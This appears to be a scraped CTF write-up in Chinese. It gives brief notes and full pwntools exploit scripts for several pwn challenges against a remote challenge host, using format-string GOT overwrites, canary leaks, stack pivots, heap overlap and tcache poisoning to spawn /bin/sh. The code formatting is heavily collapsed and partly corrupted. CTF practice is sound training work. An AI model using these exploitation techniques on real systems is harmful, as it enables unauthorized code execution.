from Crypto.Cipher import AES import base64 def decrypt(password): key = b'QERAPG9dPyZfTC5f' iv = b"aUBTJjg4Q2NDLg==" aes = AES.new(key,AES.MODE_CBC,iv) result = aes.decrypt(base64.b64decode(password.encode())) return result from itertools import product t =['c3KJ+XJQ','zJbrlKs=','NzQp2BU=','iLfdeK4=','J0xVWTT=','N3k3Kzy='] for c in product(range(1,6),repeat=5): if len(set(c)) != len(c): continue d = [0] + list(c) s='' for i in range(8): for idx in d: s+=t[idx][i] print(decrypt(s[:-4]))

PWN create_id 通过代码分析,格式化字符串漏洞将X等于9就可以cat flag.txt.
我们的格式化字符串位置在第10位
from pwn import*p = remote("123.57.69.203",7010) #p = process("./sp1") #context(log_level="debug") elf = ELF("./sp1") libc = ELF("./libc-2.27.so") puts_got = elf.got['puts'] p.recvuntil("Can you find the magic word?\n") printf_got =elf.got['printf']payload1 = p32(puts_got)+b'%6$s' p.sendline(payload1) p.recv(4) puts_addr = u32(p.recv(4))base_addr = puts_addr - libc.symbols["puts"] sys_addr = base_addr + libc.symbols["system"] p.sendline('a')payload = fmtstr_payload(6,{printf_got:sys_addr}) p.recvuntil('a\n')p.sendline(payload) p.sendline('/bin/sh\x00') p.interactive()

sim_treasure 发现格式化字符串漏洞,IDA跟asvj****函数,里面调用了str的相关函数
使用returm to libc的方法
传入/bin/sh然后劫持printf函数就行
from pwn import * context.log_level='debug' #io=process("./sp1") io=remote("123.57.69.203",7010) elf = ELF("./sp1") libc = ELF("./libc-2.27.so") puts_got = elf.got['puts'] io.recvuntil("Can you find the magic word?\n")pay_1 = p32(elf.got["puts"])+"%6$s" #gdb.attach(io) io.sendline(pay_1) io.recv(4) puts_addr = u32(io.recv(4)) print "puts_got="+hex(puts_addr) #gdb.attach(io) printf_got = elf.got['printf'] print "printf_got="+hex(printf_got) libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] print "system_addr="+hex(system_addr) io.sendline("A")payload1 = fmtstr_payload(6, {printf_got: system_addr}) io.recvuntil("A\n") #gdb.attach(io) io.sendline(payload1) io.sendline("/bin/sh")io.interactive();

跳一跳 Checksec 保护全开,猜测泄露Canary和栈迁移,构造exp
from pwn import * from LibcSearcher import LibcSearcher p=remote('123.57.69.203',7020) p.recvuntil('Hello CTFer! Welcome to the world of pwn~\n') elf=ELF('./attachment-10') for i in range(216): p.sendline(b'123') p.sendline(b'65')p.send(b'c') p.recvuntil(b'A') result=p.recv() canary=u64(result[:7].ljust(8,b'\x00'))*16*16 ebp=u64(result[7:13].ljust(8,b'\x00')) print(hex(ebp))print(hex(canary)) p.send(b'0'*(0xe0-8)+p64(canary)+b'c'*8+p8(0x98)) #第二次mainfor i in range(231): p.sendline(b'123') p.sendline(b'65') p.recvuntil(b'A')main=u64(p.recv(6).ljust(8,b'\x00'))-24 elf_base=main-0x128F init=elf_base+0x1298 put_got=elf_base+elf.got['puts'] put_plt=elf_base+elf.plt['puts'] pop_rdi=elf_base+0x130b leave=elf_base+0x124A ret=elf_base+0x1016init_1=elf_base+0x1250 fun=elf_base+0x1185print(hex(put_plt))payload=b'/bin/sh\x00'+p64(pop_rdi)+p64(put_got)+p64(put_plt)+p64(main) p.send(payload.ljust(0xe0-8,b'\x00')+p64(canary)+p64(ebp-0xf0)+p64(leave))#获取libc puts_addr=u64(p.recv(6).ljust(8,b'\x00')) libc=LibcSearcher('puts',puts_addr) base=puts_addr-libc.dump('puts') print(hex(puts_addr)) print(hex(base)) system=base+libc.dump('system')#第三次mainfor i in range(231): p.sendline(b'123') # gdb.attach(p) p.sendline(b'65') p.recvuntil(b'A') payload=p64(ret)+p64(ret)+p64(pop_rdi)+p64(ebp-0xd0)+p64(system) p.send(payload.ljust(0xe0-8,b'\x00')+p64(canary)+p64(ebp-0xf0-0xd8)+p64(leave))p.interactive()

untidy_note IDA分析完看到对堆进行了一些列操作,这是一个堆漏洞,构造exp
#coding=utf-8 from pwn import *context(arch="amd64", os="linux") context.log_level='debug' # context.terminal=['tmux','splitw','-h']ip = '123.57.69.203' port = '7030' reomote_addr = [ip,port] binary = './untidy_note'libc = ELF('./libc-2.27.so') elf = ELF(binary) if len(sys.argv)==1: p = process(binary)if len(sys.argv)==2 : p = remote(reomote_addr[0],reomote_addr[1])#---------------------------------------------------------------------- ru = lambda x : p.recvuntil(x,timeout=0.2) sd = lambda x : p.send(x) rl = lambda: p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) it = lambda :p.interactive() ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,b'\x00')) rv6 = lambda : u64(rv(6)+b'\x00'*2) lg = lambda s: log.info('\033[1; 31; 40m %s --> 0x%x \033[0m' % (s, eval(s))) bp = lambda src=https://www.it610.com/article/None : attach(p,src) sym = lambda name : libc.sym[name] #----------------------------------------------------------------------def leak(offset): addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) base = addr - offset print "[+]libc_base=>"+hex(base) return basedef menu(idx): sla("Your choose is:\n",str(idx))def add(size): menu(1) ru("the note size is:\n") sl(str(size))def free(index): menu(2) ru("index:\n\n") sl(str(index))def edit(index,size,content): menu(3) ru("index:\n") sl(str(index)) ru("the size is:\n") sl(str(size)) ru("Content:\n") sl(content)def show(index): menu(4) ru("index:\n") sl(str(index))# attach(p)#,'b *$rebase(0x0000000000000A8B)') sla("Your name is:",str("Epiphany")) #--leak add(0x10) for j in range(25): add(0x20-1)add(0x10) #26 payload ='a'*0x10+p64(0)+p64(0x4b1) edit(0,len(payload),payload) free(1)show(1) offset = libc.sym['__malloc_hook'] +0x10 + 96 libc_base = leak(offset)free_hook = libc.sym['__free_hook'] + libc_base system = libc.sym['system'] + libc_basefree(26) # free(3) #num = 27 payload = p64(free_hook) edit(26,len(payload),payload)add(0x10) #25 pause() add(0x10) #26 payload = p64(system) edit(26,len(payload),payload) pause() edit(9,len('/bin/sh\x00'),"/bin/sh\x00") pause() free(9) it()

heapheap
  1. 布置堆布局,通过一次释放堆块,合并,在下个chunk的prev_size留下size,为overlap做准备
  2. 重新申请回去,接着释放开头chunk,offbynull覆盖第三个chunk的inuse位,free掉第三个chunk,造成overlap,中间第二个chunk会overlap。
  3. 在unsortedbin中制造与tcachebin的chunk overlap,将stdout后12bit偏移链入tcache
  4. 申请到stdout,泄露libc,之后再构造chunk overlap,将frehook改为system
#!usr/bin/env python # coding=utf-8 from pwn import * elf = ELF("./heapheap") libc = ELF("./libc-2.27.so") def debug(): gdb.attach(p, "b main") # gdb.attach(p, "b *$rebase(0x)")def add(size, content): p.sendlineafter("Please input your choice: ", '1') p.recvuntil("Please input the size:") p.sendline(str(size)) p.recvuntil("Data:") p.send(content)def free(idx): p.sendlineafter("Please input your choice: ", '2') p.recvuntil("Please input the index:") p.sendline(str(idx))def attack(): add(0x4f8, 'a')# 0 add(0xf8, 'a')# 1 add(0xf8, 'a')# 2 add(0xf8, 'a')# 3 free(2) add(0xf8, 'a' * 0xf0 + p64(0x700))# 2 for i in range(6): add(0xf8, 'a') for i in range(4, 10): free(i) free(1) free(0) free(3) add(0x4f8, 'a')# 0 add(0x28, p16(0xa760))# 1 add(0xf8, 'a')# 3 add(0xf8, p64(0xfbad1800) + p64(0) * 3 + '\x00')# 4 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3ed8b0 log.info("libc_base==>0x%x" % libc_base) mlh = libc_base + libc.sym['__malloc_hook'] sys = libc_base + libc.sym['system'] ogg = libc_base + 0x10a41cfree(2) add(0x1f8, 'a' * 0xc8 + p64(0x101) + p64(mlh))# 2 add(0xf8, 'a')# 5 add(0xf8, p64(ogg))# 6 p.sendlineafter("Please input your choice: ", '1') p.recvuntil("Please input the size:") p.sendline(str(0x58))while True: try: # p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path}) p = remote("123.57.69.203", 5320) attack() p.sendline("cat flag.txt") p.interactive() break except: p.close()

Huge_Space
  1. 溢出栈,布置栈迁移 rop
  2. 堆溢出覆盖 topchunk,free 到 unsortedbin,申请出来泄露 libc
  3. 申请大内存,溢出覆盖 tls 结构的 canary
  4. 输入 cmd,在 cmd 后面构造调用 execve 的 rop
  5. exit 返回到 main 函数,绕过 canary,栈迁移到 bss,调用 ececv
from pwn import * context.log_level = 'debug' context.terminal = ["/bin/tmux","sp","-h"] io = remote('123.57.69.203',5330 ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so') # io = process('./Huge_Space') #libc = ELF('.bc.so.6') elf = ELF('./Huge_Space') l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00")) l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00")) rl = lambda a=False : io.recvline(a) ru = lambda a,b=True : io.recvuntil(a,b) rn = lambda x : io.recvn(x) sn = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda a,b : io.sendafter(a,b) sla = lambda a,b : io.sendlineafter(a,b) irt = lambda : io.interactive() dbg = lambda text=None : gdb.attach(io, text) lg = lambda s : log.info('\033[1; 31; 40m %s --> 0x%x \033[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, '\x00')) uu64 = lambda data : u64(data.ljust(8, '\x00')) ur64 = lambda data : u64(data.rjust(8, '\x00')) def add(idx,size,content): sl('+++') sla('Index:',str(idx)) sla('Size: ',str(size)) sla('Data: ',content) def show(idx,size): sl('print') sla('Index:',str(idx)) sla('Size: ',str(size)) pop_rdi = 0x0000000000400be3 pop_rsi_r15 = 0x0000000000400be1 pop_rdx = 0x0000000000001b96 pop_rbp = 0x0000000000400860 leaveret = 0x40090F sh = 0x400909 writee = 0x400B19 # dbg() sl('\x00'*(8*9)+p64(pop_rbp)+p64(0x6010c0+0x10)+p64(leaveret)) add(0,0x10,'A'*0x10+p64(0)+p64(0xd81)) add(1,0x1000,'B') add(1,0xd50,'') #add(2,0x1fa0,'') show(1,0x20) # show(2,0x20) # irt() libcbase = l64() - 0x3ebc00 lg('libcbase') execve = libcbase + libc.symbols['execve'] lg('execve') sl('666') # dbg() add(3,0x22000,'\x00'*(0x24518+16*8)+'\x00'*8) sl('exit\x00\x00\x00\x00/bin\x00'+p64(pop_rdi)*2+p64(0x6010c0+8)+ p64(pop_rsi_r15)+p64(0)*2+p64(pop_rdx+libcbase)+p64(0)+p64(execve)) irt()

Unlink
# coding=utf-8 # *- coding:utf-8 -*- # from pwn_debug import * from struct import pack from pwn import * import sys; import time; import os context(os="linux", arch="amd64", log_level="debug") # context(os="linux",arch="i386",log_level="debug") filename = "unlink" libcpath = "" sh = 0 lib = 0 elf = ELF(filename)# local长 local_libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")# #remote_buu_libc = ELF("/home/rencvn/Desktop/install/libc-2.27.so",checksec = False) #libc = ELF("/home/rencvn/Desktop/BUU/Glibc/Ubuntu18_GLIBC_2.27-3ubuntu1/64/libc-2.27.so") u16_local_one = [0x45216,0x4526a,0xf02a4,0xf1147] # one_gadget (-l2) /lib/x86_64-linux-gnu/libc.so.6 giantbranch2.23-0ubuntu10 u18_local_one = [0x4f2a5,0x4f302,0x10a2fc] # one_gadget (-l2) /lib/x86_64-linux-gnu/libc.so.6Rencvn2.27-3ubuntu1.5 u20_local_one = [0xe3b2e,0xe3b31,0xe3b34]# one_gadget (-l2) /lib/x86_64-linux-gnu/libc.so.6Ln-Pwn2.31-0ubuntu9.7""" """ l64 = lambda:u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00")) l32 = lambda:u32(sh.recvuntil("\x7f")[-4:].ljust(4,"\x00")) #bytes ==>int #常用于调用了ROP输出类函数后,接受并转化为int类型 #uxx(ru("\x7f")[-6:].ljust(8,"\x00")) leak= lambda name,data:sh.success(name + ": 0x%x" % data) s= lambda payload:sh.send( payload) sa= lambda a,b:sh.sendafter(str(a),str(b)) sl= lambda payload:sh.sendline(payload ) sla = lambda a,b:sh.sendlineafter(str (a),str(b)) ru= lambda a:sh.recvuntil(str(a)) r= lambda numb=4096:sh.recv(numb) # https://www.yuque.com/squirre17/qqf7/wbeago #5b71964e rl= lambda:sh.recvline() uu32= lambda data:u32(data.ljust(4, b'\x00')) uu64= lambda data:u64(data.ljust(8, b'\x00')) # https://blog.cc arol2358/article/details/106262701 info_addr = lambda tag, addr:sh.info(tag + ': {:#x}'. format(addr)) check = lambda data:"data="https://www.it610.com/article/,data,"|*|","type=>",type(data)# 这里使用print会报错 # 交互时 # py2 <==> str = bytes #addr=int(sh.recvuntil('\n',drop=True),base=16)def add(index,size,data): success("########->add<-########") sl("add")# fgets sla("Index: ",str(index)) sla("Size: ",str(size))# scanf sa("Data: ",data+"\n")# getsdef delete(index): success("########->delete<-########") sl("remove")# fgets sla("Index: ",str(index)) # scanfsys = 0x400896 #sh = process("./unlink") sh = remote("123.57.69.203",5810) #gdb.attach(sh,"b *0x400A78") #malloc# #gdb.attach(sh,"b *0x4009BD\n"+"b *0x400A8A\n"+"c\n"*(24) ) add(0,0x410,"aaaa")#fake_chunk)#0 add(1,0xe8,"bbbb")#1 add(2,0x4f0,"cccc")#2 add(3,0x60,"/bin/sh\x00dddd")#3 add(4,0x60,"/bin/sh\x00eeee")#4delete(0) #pause() delete(1) for i in range(6): add(1,0xe8-i,"b"*(0xe8-i)) delete(1)add(1,0xe8,"b"*0xe0+p64(0x510))#1 delete(2) #合并chunk2+chunk1+chunk0 success("合并chunk")delete(1) fgets_got=elf.got["fgets"]#0x601050 free_got= elf.got["free"]#0x601018 system_plt = elf.plt["system"]; system_got = elf.got["system"] puts_plt = elf.plt["puts"]add(0,0x10+0x410+0xe8,0x410*"a"+p64(0x420)+p64(0xf0)+p64(free_got))#chunk0 + chunk1 add(5,0xe0,"/bin/sh\x00ffff")add(6,0xe0,3*p64(system_plt+6))#add(6,0xe0,2*p64(0x400706)) #xxx #add(6,0xe0,2*p64(sys)) raw_input() sl("/bin/sh\x00") #delete(5) sh.interactive()

h-o-s 在cmd布置fakechunk,free到unsortedbin泄露libc,再次将fakechunk释放到tcache,制造overlap,将freehook链入tcache,打freehook为system
# -*- coding: UTF-8 -*- from pwn import *context.log_level = 'debug' context.terminal = ["/bin/tmux","sp","-h"]io = remote('123.57.69.203',5820 ) # io = remote('127.0.0.1',49161 ) # libc = ELF('./libc-2.31.so') # io = process('./hos') libc = ELF('./libc.so.6') elf = ELF('./hos')l64 = lambda:u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00")) l32 = lambda:u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00")) rl = lambda a=False: io.recvline(a) ru = lambda a,b=True: io.recvuntil(a,b) rn = lambda x: io.recvn(x) sn = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda a,b: io.sendafter(a,b) sla = lambda a,b: io.sendlineafter(a,b) irt = lambda: io.interactive() dbg = lambda text=None: gdb.attach(io, text) lg = lambda s: log.info('\033[1; 31; 40m %s --> 0x%x \033[0m' % (s, eval(s))) uu32 = lambda data: u32(data.ljust(4, '\x00')) uu64 = lambda data: u64(data.ljust(8, '\x00')) ur64 = lambda data: u64(data.rjust(8, '\x00'))def add(size,content): sl('fill') sl(str(size)) sl(content) def delete(): sl('get')buf = 0x6010a0 cmd = 0x601160add(0x41,'a')#n =0 # add(0x31,'a')#n=0 pay = 'get'.ljust(0x8,'\x00') + p64(0x61)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81) + p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x70) sl(pay) sl('get')#n=-1 add(0x81,'a')#n=0 add(0x81,'a')#n=1 add(0x81,'a')#n=2 add(0x81,'a')#n=3 add(0x81,'a')#n=4 add(0x81,'a')#n=5 add(0x81,'a')#n=6 add(0x81,'a')#n=7 delete() delete() delete() delete() delete() delete() pay = 'get'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x10) sl(pay) add(0x51,p64(buf+0x10) + p64(buf+0x70) + p64(buf+0x10)*2+p64(0x91)+p64(0x31))#n=1 delete()#n=0 sl('get')#n=-1 add(0x51,p64(buf+0x70) + p64(buf+0x10) + p64(buf+0x70)*2+p64(0x91)+p64(0x31))#n=0 sl('get')#n=-1 libcbase = l64() -0x3ebca0 lg('libcbase') freehook = libcbase + libc.symbols['__free_hook'] lg('freehook') system = libcbase + libc.symbols['system'] lg('system') add(0x81,'a')#n=0pay = 'get'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x40) sl(pay)#n = -1pay = 'fill'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(freehook) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x40) sl(pay)#n = 0add(0x81,p64(system)) add(0x41,'/bin/sh\x00') delete() # dbg()irt()

    推荐阅读